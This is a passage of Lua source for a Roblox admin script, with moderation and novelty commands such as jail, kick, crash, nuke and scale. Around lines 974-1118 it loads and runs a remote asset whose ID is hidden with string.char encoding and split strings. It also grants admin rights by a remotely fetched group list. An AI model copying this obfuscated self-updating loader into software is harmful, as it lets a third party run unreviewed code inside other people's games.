943 if Get.Name == "Base" or Get.Name == "BasePlate" then
944 Get:Destroy()
945 end
946 end
947 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
948end
949
950function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
951 if IsAbusive == nil then IsAbusive = false end
952 if Commands[CommandName] then table.remove(Commands[CommandName]) end
953 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
954end
955
956function CORE:FixLighting() coroutine.wrap(function()
957 ModLighting = false
958 wait(0.2)
959 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
960 Server.Lighting.FogColor = Color3.new(0,0,0)
961 Server.Lighting.Brightness = 1
962 Server.Lighting.TimeOfDay = 14
963 Server.Lighting.FogEnd = 100000
964end)() end
965
966function CORE:Round(Number)
967 if Number >= 0.5 then
968 return math.ceil(Number)
969 elseif Number < 0.5 then
970 return math.floor(Number)
971 end
972end
973
974local AdminID,Got = nil,false
975repeat wait()
976 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
977until Got == true
978
979function CORE:GetTable(ID)
980 local Thing = nil
981 repeat wait()
982 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
983 until Thing
984 return Thing
985end
986
987function CORE:InAdminGroup(Speaker)
988 local IsIn = false
989 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
990 if Speaker:IsInGroup(Get) then
991 IsIn = true
992 end
993 end
994 if IsIn == true then
995 return true
996 else
997 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
998 return false
999 end
1000end
1001
1002function CORE:ReverseTable(Table)
1003 if type(Table) ~= "table" then return Table end
1004 local NewTable = {}
1005 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1006 return NewTable
1007end
1008
1009function CORE:Log(LogTable, Player, Chat)
1010 local PlayerName = tostring(Player)
1011 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1012 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1013end
1014
1015function CORE:Jail(Player)
1016 if not Player then return nil end
1017 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1018 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1019 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1020 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1021 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1022 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1023 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1024 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1025 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1026 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1027 Cell:MoveTo(Vector3.new(0,3,0))
1028
1029 if Player.Character and Player.Character:FindFirstChild("Torso") then
1030 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1031 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1032 end
1033 table.insert(Dispose, Cell)
1034 Jails[Player.Name] = Cell
1035end
1036
1037function CORE:UnJail(Player)
1038 if not Player then return nil end
1039 if Jails[Player.Name] then
1040 Jails[Player.Name]:Destroy()
1041 Jails[Player.Name] = nil
1042 end
1043end
1044
1045function CORE:ChangeName(Player, NewName)
1046 if not Player or not NewName then return nil end
1047 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1048 local NewName = STRING:FormatReplace(Player, NewName)
1049
1050 for _,Obj in pairs(Player.Character:GetChildren()) do
1051 if Obj.Name == "Label" then Obj:Destroy() end
1052 end
1053
1054 local Head = Player.Character.Head
1055 local HeadClone = Head:Clone()
1056
1057 -- make actual head invisible
1058 Head.Transparency = 1
1059 ypcall(function() Head.face.Transparency = 1 end)
1060
1061 -- make fake head visible
1062 HeadClone.Transparency = 0
1063 ypcall(function() HeadClone.face.Transparency = 0 end)
1064
1065 local Label = Instance.new("Model", Player.Character)
1066 Label.Name = "Label"
1067
1068 local Model = Instance.new("Model", Label)
1069 Model.Name = NewName
1070
1071 local HumanoidClone = Instance.new("Humanoid", Model)
1072 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1073
1074 HeadClone.Position = Vector3.new(0,100,0)
1075 HeadClone.CanCollide = false
1076 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1077
1078
1079 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1080 HeadClone.Parent = Model
1081 local Weld = Instance.new("Weld", HeadClone)
1082 Weld.Part0 = HeadClone
1083 Weld.Part1 = Head
1084 end)
1085 end
1086end
1087
1088function CORE:UpdateAdmin()
1089 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1090 return nil
1091 end
1092 local UpdateModel = AdminID
1093 if UpdateModel == 0 then return end
1094 local NewAdminModel = nil
1095 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1096 if NewAdminModel then
1097 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1098 if NewAdmin then
1099 local NewVersion = NewAdmin:FindFirstChild("Version")
1100 if NewVersion.Value ~= CORE.Version.Value then
1101 if ExploitModule then
1102 ExploitModule.Disabled = true
1103 ExploitModule:Destroy()
1104 end
1105 NewAdmin.Disabled = true
1106 NewAdmin.Parent = Workspace
1107 if not Settings then
1108 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1109 if NewSettings then NewSettings.Parent = Workspace end
1110 end
1111 wait() NewAdmin.Disabled = false
1112 CORE:RemoveAdmin()
1113 else
1114 NewAdminModel:Destroy()
1115 end
1116 end
1117 end
1118end
1119
1120function CORE:UnpackPlayers(Players)
1121 local PlayerNames = ""
1122 for Num,Player in pairs(Players) do
1123 if Player ~= nil then
1124 if Num ~= #Players then
1125 PlayerNames = PlayerNames..Player.Name..", "
1126 else
1127 PlayerNames = PlayerNames..Player.Name
1128 end
1129 end
1130 end
1131 return PlayerNames
1132end
1133
1134function CORE:GetValue(Value)
1135 if Value:IsA("StringValue") then
1136 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1137 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1138 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1139 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1140 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1141 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1142 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1143 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1144 if Admin == Value.Value then
1145 table.remove(Settings.Ranks["Admin"],Num)
1146 end
1147 end
1148 end end
1149 end
1150end
1151
1152function CORE:GetPlayer(ID)
1153 local Return = {"Unknown", ID}
1154 if tonumber(ID) then
1155 for _,Data in pairs(CharacterCache) do
1156 if ID == Data[2] then
1157 return Data
1158 end
1159 end
1160 ypcall(function()
1161 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1162 if Name then
1163 local Data = {Name, ID}
1164 table.insert(CharacterCache, Data)
1165 Return = Data
1166 end
1167 end)
1168 else
1169 local Name = tostring(ID)
1170 for _,Data in pairs(CharacterCache) do
1171 if string.lower(Name) == string.lower(Data[1]) then
1172 return Data
1173 end
1174 end
1175 ypcall(function()
1176 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1177 if PlayerID then
1178 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1179 local Data = {Name, PlayerID}
1180 table.insert(CharacterCache, Data)
1181 Return = Data
1182 end
1183 end)
1184 end
1185
1186 return Return
1187end
1188
1189function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1190 if ID and #tostring(ID) >= 1 then
1191 local PlayerName = nil
1192
1193 local Players = STRING:Scan(ID, Speaker)
1194 if #Players >= 1 then -- if player is found in server
1195 ID = Players[1].UserId
1196 elseif tonumber(ID) then
1197 local Data = CORE:GetPlayer(ID)
1198 PlayerName = Data[1]
1199 else
1200 local Data = CORE:GetPlayer(tostring(ID))
1201 PlayerName = Data[1]
1202 ID = Data[2]
1203 end
1204
1205 if tonumber(ID) == 20018 then -- exploding easter bunny
1206 local OldID = ID
1207 ID = 1
1208 if Speaker then
1209 if RANK:GetRank(Speaker) == "Member" then
1210 coroutine.wrap(function()
1211 wait(1)
1212 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1213 end)()
1214 else ID = OldID
1215 end
1216 end
1217 elseif tonumber(ID) == 1311 then -- ffjosh
1218 local OldID = ID
1219 ID = 1
1220 if Speaker then
1221 if RANK:GetRank(Speaker) == "Member" then
1222 coroutine.wrap(function()
1223 wait(1)
1224 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1225 end)()
1226 else ID = OldID
1227 end
1228 end
1229 end
1230
1231 if tonumber(ID) then
1232 local Position = nil
1233 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1234 if ManualPos then
1235 Position = ManualPos
1236 else
1237 Position = Player.Character.Torso.Position
1238 end
1239 end
1240 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1241 wait() Player:LoadCharacter() wait()
1242 if Position then Player.Character:MoveTo(Position) end
1243 if not Perm then
1244 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1245 end
1246 if NameChar and PlayerName then
1247 wait(2)
1248 CORE:ChangeName(Player, PlayerName)
1249 end
1250 end
1251 end
1252end)() end
1253
1254function CORE:GenerateShield(Player)
1255 if not Player then return nil end
1256 if not Player.Character then return nil end
1257 local Torso = Player.Character:FindFirstChild("Torso")
1258 if not Torso then return nil end
1259
1260 local Shield = Player.Character:FindFirstChild("Shield")
1261 if Shield then Shield:Destroy() end
1262
1263 Shield = Instance.new("Part", Player.Character)
1264 Shield.Name = "Shield"
1265 Shield.Locked = true
1266 Shield.CanCollide = false
1267 Shield.Size = Vector3.new(10,10,10)
1268 Shield.Shape = "Ball"
1269 Shield.Color = GUI:GetColor()
1270 Shield.Transparency = 0.5
1271 Shield.TopSurface = "Smooth"
1272 Shield.BottomSurface = "Smooth"
1273 Shield.Anchored = true
1274 Shield.Position = Torso.Position
1275
1276 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1277 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1278
1279 Hum:Play()
1280
1281 Shield.Touched:connect(function(Part)
1282 if Part.Parent ~= Server.Workspace then
1283 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1284 if Humanoid then
1285 local Char = Humanoid.Parent
1286 if Char:IsA("Model") and Humanoid.Health > 0 then
1287 if Char ~= Player.Character then
1288 Char:BreakJoints()
1289 Zap:Play()
1290 end
1291 end
1292 end
1293 end
1294 end)
1295
1296 coroutine.wrap(function() repeat wait()
1297 Shield.CFrame = Torso.CFrame
1298 until Torso.Parent == nil or Shield.Parent == nil end)()
1299end
1300
1301function CORE:FlingPlayer(Player)
1302 if Player and Player.Character then
1303 if Player.Character:FindFirstChild("Torso") then
1304 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1305 Fling.Name = "Fling"
1306 Fling.force = Vector3.new(10000,10000,10000)
1307 end
1308 end
1309end
1310
1311function CORE:Kick(Player, CustomMessage)
1312 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1313 coroutine.wrap(function()
1314 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1315 wait(1)
1316 Player:Kick(CustomMessage)
1317 end)()
1318end
1319
1320function CORE:Crash(Player)
1321 local Parent = Player
1322 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1323 elseif Player.Character then Parent = Player.Character end
1324
1325 CORE:ExecuteResource("Crash", Parent)
1326end
1327
1328function CORE:RestoreCamera(Player)
1329 if Player.Backpack then
1330 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1331 end
1332end
1333
1334function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1335 local function ScanInstance(Object)
1336 if #Object:GetChildren() > 0 then
1337 for _,Obj in pairs(Object:GetChildren()) do
1338 local IsType = false
1339 if ObjTypes and #ObjTypes > 0 then
1340 for _,ObjType in pairs(ObjTypes) do
1341 if Obj:IsA(ObjType) then
1342 IsType = true
1343 break
1344 end
1345 end
1346 else
1347 IsType = true
1348 end
1349 if IsType == true then
1350 ActiveFunc(Obj)
1351 end
1352 ScanInstance(Obj)
1353 end
1354 end
1355 end
1356 ScanInstance(BaseObj)
1357end
1358
1359function CORE:AnchorPlayer(Player)
1360 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1361
1362 Player.Character.Humanoid.WalkSpeed = 0
1363 for _,Object in pairs(Player.Character:GetChildren()) do
1364 if Object:IsA("BasePart") then
1365 Object.Anchored = true
1366 end
1367 end
1368end
1369
1370function CORE:UnanchorPlayer(Player)
1371 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1372
1373 Player.Character.Humanoid.WalkSpeed = 16
1374 for _,Object in pairs(Player.Character:GetChildren()) do
1375 if Object:IsA("BasePart") then
1376 Object.Anchored = false
1377 end
1378 end
1379end
1380
1381function CORE:InvisiblePlayer(Player)
1382 if not Player or not Player.Character then return end
1383
1384 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1385end
1386
1387function CORE:VisiblePlayer(Player)
1388 if not Player or not Player.Character then return end
1389
1390 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1391end
1392
1393function CORE:Nuke(Player) coroutine.wrap(function()
1394 local Pos = CFrame.new(0,1,0)
1395 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1396 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1397 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1398 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1399 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1400 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1401
1402 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1403
1404 Server.Lighting.Brightness = 5
1405 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1406 Server.Lighting.OutdoorAmbient = Color3.new(1,1,1)
1407
1408 local Exp = Instance.new("Explosion", Server.Workspace)
1409 Exp.Position = Pos.p
1410 Exp.BlastPressure = 10000000
1411 Exp.BlastRadius = 1000000
1412 Exp.Hit:connect(function(Part)
1413 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1414 ypcall(function()
1415 Part.Anchored = false
1416 Part.BrickColor = BrickColor.new("Black")
1417 Part.Material = "Slate"
1418 Part:BreakJoints()
1419 end)
1420 end
1421 end)
1422
1423 local BoomSound = Instance.new("Sound",workspace)
1424 BoomSound.SoundId = "rbxassetid://12222242"
1425 BoomSound.Volume = 10
1426 BoomSound.Looped = false
1427 BoomSound.Pitch = 0.1
1428 BoomSound.Name = "FU- BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOM"
1429 BoomSound:Play()
1430 for i = 0,100,0.5 do
1431 Blast.Anchored = true
1432 Wave.Anchored = true
1433 BlastMesh.Scale = Vector3.new(i,i,i)
1434 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1435 Blast.CFrame = Pos
1436 wait()
1437 end
1438 BoomSound:Stop()
1439 Blast:Destroy()
1440 Wave:Destroy()
1441 wait()
1442 BoomSound:Destroy()
1443 Effect:Destroy()
1444 for i = 10,5,-1 do
1445 Server.Lighting.Brightness = (i-5) + 1
1446 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1447 Server.Lighting.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1448 wait(0.05)
1449 end
1450end)() end
1451
1452function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1453 local AssetID = tonumber(AssetID)
1454 local Item = nil
1455 if AssetID and AssetID ~= 1055299 then
1456 local CanInsert = true
1457 if AbuseMode then
1458 for _,ID in pairs(RemoteAbuseGear) do
1459 if AssetID == tonumber(ID) then CanInsert = false break end
1460 end
1461 for _,ID in pairs(Settings.AbusableGear) do
1462 if AssetID == tonumber(ID) then CanInsert = false break end
1463 end
1464 end
1465 if CanInsert then
1466 Item = Server.IS:LoadAsset(AssetID)
1467 if GetFirstChild then
1468 Item = Item:GetChildren()[1]
1469 if FirstChildTypes and Item then
1470 local ValidType = false
1471 for _,Type in pairs(FirstChildTypes) do
1472 if Item:IsA(Type) then
1473 ValidType = true
1474 break
1475 end
1476 end
1477 if ValidType == false then
1478 Item = nil
1479 end
1480 end
1481 end
1482 if Item and Parent then
1483 Item.Parent = Parent
1484 end
1485 end
1486 end
1487 return Item
1488end
1489
1490function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1491 if not Player or not Player.Character then return nil end
1492 PID = tonumber(PID)
1493 for _,Obj in pairs(Player.Character:GetChildren()) do
1494 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1495 end
1496 if PID then
1497 -- back when we needed HttpService to get packages.
1498 --[[
1499 if PackageCache[PID] then
1500 for _,ID in pairs(PackageCache[PID]) do
1501 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1502 end
1503 else
1504 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1505 if IDsJSON then
1506 local IDs = REMOTE:Decode(IDsJSON)
1507 if IDs then
1508 if not IDs["Error"] then
1509 table.insert(PackageCache, IDs)
1510 for _,ID in pairs(IDs) do
1511 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1512 end
1513 end
1514 end
1515 end
1516 end
1517 ]]
1518 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1519 local IDs = {}
1520 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1521 if #IDs > 0 then
1522 for _,ID in pairs(IDs) do
1523 local PackagePart = CORE:Insert(ID)
1524 for _,Obj in pairs(PackagePart:GetChildren()) do
1525 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1526 Obj.Parent = Player.Character
1527 elseif Obj:IsA("Folder") then
1528 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1529 Obj:GetChildren()[1].Parent = Player.Character
1530 end
1531 end
1532 end
1533 end
1534 end
1535 end
1536end)() end
1537
1538function CORE:ChangeBet(Bet)
1539 if tostring(Bet) and Bet ~= Settings.Bet then
1540 for Index,Data in pairs(Commands) do
1541 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1542 end
1543 Settings.Bet = Bet
1544 end
1545end
1546
1547function CORE:ResetLighting()
1548 ModLighting = false wait(0.2) ModLighting = true
1549end
1550
1551function CORE:Fly(Player, Force)
1552 if Player and Player.Character then
1553 local StopFly = Instance.new("RemoteFunction", Player.Character)
1554 StopFly.Name = "StopMMLFly"
1555 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1556 end
1557end
1558
1559function CORE:GiveTools(Player, Type)
1560 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1561 Type = string.lower(Type)
1562 local _,RankNum = RANK:GetRank(Player)
1563 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1564 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1565
1566 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1567 for Name,Type in pairs(BaseBuildTools) do
1568 local Tool = Instance.new("HopperBin", Player.Backpack)
1569 Tool.Name = Name
1570 Tool.BinType = Type
1571 end
1572 elseif Type == "psbtools" then
1573 for _,Tool in pairs(BuildTools) do
1574 CORE:Insert(Tool, Player.Backpack, true)
1575 end
1576 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1577 if F3X then
1578 local F3X = F3X:Clone()
1579 F3X.Parent = Player.Backpack
1580 end
1581 elseif Type == "btools" then
1582 if F3X then
1583 local F3X = F3X:Clone()
1584 F3X.Parent = Player.Backpack
1585 end
1586 for Name,Type in pairs(BaseBuildTools) do
1587 local Tool = Instance.new("HopperBin", Player.Backpack)
1588 Tool.Name = Name
1589 Tool.BinType = Type
1590 end
1591 for _,Tool in pairs(BuildTools) do
1592 CORE:Insert(Tool, Player.Backpack, true)
1593 end
1594 else
1595 for _,Region in pairs(ToolRegions) do
1596 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1597 if Type == "all" then
1598 local NewItem = Item:Clone()
1599 NewItem.Parent = Player.Backpack
1600 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1601 local NewItem = Item:Clone()
1602 NewItem.Parent = Player.Backpack
1603 end
1604 end)
1605 end
1606 end
1607end
1608
1609function CORE:Scale(Player, ScalePercent)
1610 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1611 local Ratio = ScalePercent/100
1612 if Ratio < 0.05 then Ratio = 0.05 end
1613 if Ratio > 100 then Ratio = 100 end
1614 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1615 local Char = Player.Character
1616
1617 local Clean = Char:FindFirstChild("Clean")
1618 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1619 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1620
1621 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1622 local Welds = {}
1623 local Parts = {}
1624
1625 local function Handle(Obj)
1626 if Obj:IsA("BasePart") and not JustWeld then
1627 table.insert(Parts, Obj)
1628 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1629 if Obj.Name == "MML Mesh" then
1630 Obj:Destroy()
1631 end
1632 if Obj.MeshType == Enum.MeshType.FileMesh then
1633 Obj.Offset = Obj.Offset * ScaleRatio
1634 Obj.Scale = Obj.Scale * ScaleRatio
1635 elseif Ratio < 1 then
1636 Obj.Offset = Obj.Offset * ScaleRatio
1637 Obj.Scale = Obj.Scale * ScaleRatio
1638 end
1639 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1640 if Ratio < 1 then
1641 local BodyPart = ""
1642 local TextureID = Obj.BaseTextureId
1643 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1644 if TextureID == 0 then TextureID = nil end
1645 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1646 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1647 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1648 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1649 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1650 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1651 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1652 NewMesh.Name = "MML Mesh"
1653 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1654 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1655 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1656 Obj:Destroy()
1657 end
1658 elseif Obj:IsA("JointInstance") then
1659 local NewWeld = Obj:Clone()
1660 table.insert(Welds, {NewWeld, Obj.Parent})
1661 elseif NewAdd == true and not JustWeld then
1662 if Obj:IsA("Tool") then
1663 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1664 elseif Obj:IsA("Accoutrement") then
1665 --Cycle(Char.Head, ScaleRatio, false, true)
1666 end
1667 end
1668 if #Obj:GetChildren() > 0 then
1669 for _,NewObj in pairs(Obj:GetChildren()) do
1670 Handle(NewObj, ScaleRatio)
1671 end
1672 end
1673 end
1674 Handle(BaseObj)
1675 for _,Part in pairs(Parts) do
1676 if Ratio >= 1 then
1677 Part.Size = Part.Size * ScaleRatio
1678 else
1679 local Allowed = true
1680 for _,Obj in pairs(Part:GetChildren()) do
1681 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1682 Allowed = false
1683 end
1684 end
1685 if Allowed == true then
1686 local NewMesh = Instance.new("BlockMesh", Part)
1687 NewMesh.Name = "MML Mesh"
1688 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1689 end
1690 end
1691 end
1692 for _,WeldData in pairs(Welds) do
1693 if WeldData[1] then
1694 local Obj = WeldData[1]
1695 local NewWeld = Obj:Clone()
1696
1697 NewWeld.Parent = WeldData[2]
1698 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1699 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1700 end
1701 end
1702 for _,Part in pairs(Parts) do
1703 Part:MakeJoints()
1704 end
1705 Welds = {}
1706 Parts = {}
1707 end
1708 Cycle(Char, Ratio)
1709 Char:MakeJoints()
1710
1711 local Added = Char.ChildAdded:connect(function(Obj)
1712 Cycle(Obj, Ratio, NewAdd)
1713 end)
1714 local Removed = Char.ChildRemoved:connect(function(Obj)
1715 Cycle(Obj, Ratio^-1, NewAdd)
1716 end)
1717
1718 Clean.OnInvoke = function()
1719 Added:disconnect()
1720 Removed:disconnect()
1721 local Location = Vector3.new(0,5,0)
1722 if Char:FindFirstChild("Torso") then
1723 Location = Char.Torso.Position + Vector3.new(0,2,0)
1724 end
1725 Player:LoadCharacter()
1726 wait(0.5)
1727 Player.Character:MoveTo(Location)
1728 wait(0.5)
1729 return nil
1730 end
1731
1732 if Char:FindFirstChild("Torso") then
1733 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1734 end
1735 if Char:FindFirstChild("Humanoid") then
1736 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1737 end
1738 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
